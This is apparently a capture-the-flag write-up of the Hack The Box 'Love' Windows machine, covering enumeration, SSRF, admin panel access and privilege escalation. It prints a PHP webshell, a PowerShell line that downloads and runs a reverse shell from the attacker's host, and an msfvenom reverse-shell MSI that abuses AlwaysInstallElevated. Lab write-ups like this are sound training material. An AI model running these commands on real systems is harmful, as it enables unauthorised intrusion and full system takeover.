Love Writeup
31 October 2022 #CTF #HTB #box #easy #windowsEnumeration
You know it, you love it: nmap
:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.239
[...]
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5000/tcp open upnp
5040/tcp open unknown
5985/tcp open wsman
5986/tcp open wsmans
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.10.239
[...]
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, HTTPOptions, Help, Kerberos, LDAPBindReq, LDAPSearchReq, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie:
|_ Host '10.10.14.14' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-10-31T14:54:43+00:00; +21m32s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
[...]
Host script results:
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-10-31T07:54:32-07:00
|_clock-skew: mean: 2h06m33s, deviation: 3h30m01s, median: 21m32s
| smb2-time:
| date: 2022-10-31T14:54:31
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
[...]
SMB
We can't list shares anonymously:
$ smbclient -N -L 10.10.10.239
session setup failed: NT_STATUS_ACCESS_DENIED
Nice try tho.
HTTP
Port 443
We just get a Forbidden page with https:
It responds with 403 on a page that doesn't exist so we can't really gobuster
it...
What's interesting is the certificate leaks a hostname (as nmap
told us). We can view it manually in firefox by using the ctrl+i shortcut -> Security -> View Certificate:
Port 5000
Same thing on port 5000:
Port 80
Browsing to http://10.10.10.239
we get this page:
It says that it is using php. Let's start a gobuster
:
$ gobuster dir -u http://10.10.10.239/ -x php,txt -o enum/80-root.dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
[...]
/admin (Status: 301)[Size: 337] [--> http://10.10.10.239/admin/]
/images (Status: 301)[Size: 338] [--> http://10.10.10.239/images/]
/includes (Status: 301)[Size: 340] [--> http://10.10.10.239/includes/]
/login.php (Status: 302)[Size: 0] [--> index.php]
/plugins (Status: 301)[Size: 339] [--> http://10.10.10.239/plugins/]
/index.php (Status: 200)[Size: 4388]
/logout.php (Status: 302)[Size: 0] [--> index.php]
/home.php (Status: 302)[Size: 0] [--> index.php]
/. (Status: 200)[Size: 4388]
/preview.php (Status: 302)[Size: 0] [--> index.php]
/examples (Status: 503)[Size: 402]
/dist (Status: 301)[Size: 336] [--> http://10.10.10.239/dist/]
/tcpdf (Status: 301)[Size: 337] [--> http://10.10.10.239/tcpdf/]
[...]
I filtered out every 403 response.
We can use a lowercase wordlist because it is a windows box so the file names are case insensitive.
There is a SQL injection in /login.php
:
It is however a time-based blind injection, so quite painful to exploit so we won't be using this (spoiler: we won't need it).
staging.love.htb
We have a different page when using the newly found hostname with http:
https://staging.love.htb
still gives a 403 Forbidden.
The sign up form does nothing (it just sends a GET request without parameters to /
).
Clicking on 'Demo' we access a page that can scan urls:
Pretty interesting to see that it returned the Voting System page, confirming this is a SSRF vulnerability.
We can try different ports to see if we still get a 403 Forbidden. Eventually port 5000 returns something juicy:
Apache must have been configured to only allow locahost to access port 5000.
Foothold
Our gobuster
scan told us about a /admin/
directory. We can login with the creds we got from the SSRF:
On the 'Voters' page, we can create a new voter:
It asks for an image. Let's give it a simple php webshell instead:
$ echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php
Then submit it. It gives no errors:
We can check in /images/
if our webshell as been successfuly uploaded:
Looking good. We can execute commands:
Let's get a reverse shell now. We'll use nishang's Invoke-PowerShellTcp.ps1
:
$ mkdir www
$ cd www
$ cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1
$ echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 4242' >> rev.ps1
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now we can go back to our webshell and use this command:
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/rev.ps1')
This will use powershell to make a request to our local webserver to download and execute our reverse shell script.
Privesc
After some manual enumeration, nothing interesting comes up. Time for winpeas. Grab the latest, transfer it to the target box with the python webserver technique and execute it.
The output is HUGE but the most interesting finding is this:
[...]
[+] AlwaysInstallElevated?
[i] If '1' then you can install a .msi file with admin privileges ;)
[?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
[...]
The fact that these 2 registers are set to 1 means any user can install msi files as administrator. Pretty bad (or good, depends how you see it...).
Generate a malicious msi file:
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=1337 -f msi -o hehe.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: hehe.msi
shell_reverse_tcp
is a stageless payload, meaning we can catch it using a standard nc
listener whereas staged payloads require the exploit/multi/handler
metasploit module.
Transfer it to the target box using the same technique as previously.
We can use this command to install the malicious msi:
PS C:\users\phoebe\downloads> cmd /c "msiexec /quiet /qn /i hehe.msi"
If all went swimingly, we should get a hit on our nc
listener and get a reverse shell as NT AUTHORITY\SYSTEM.
Key Takeaways
- Check SSL certificate for leaked hostnames
- Use SSRF to scan localhost for hidden/restricted services
- AlwaysInstallElevated is instant privesc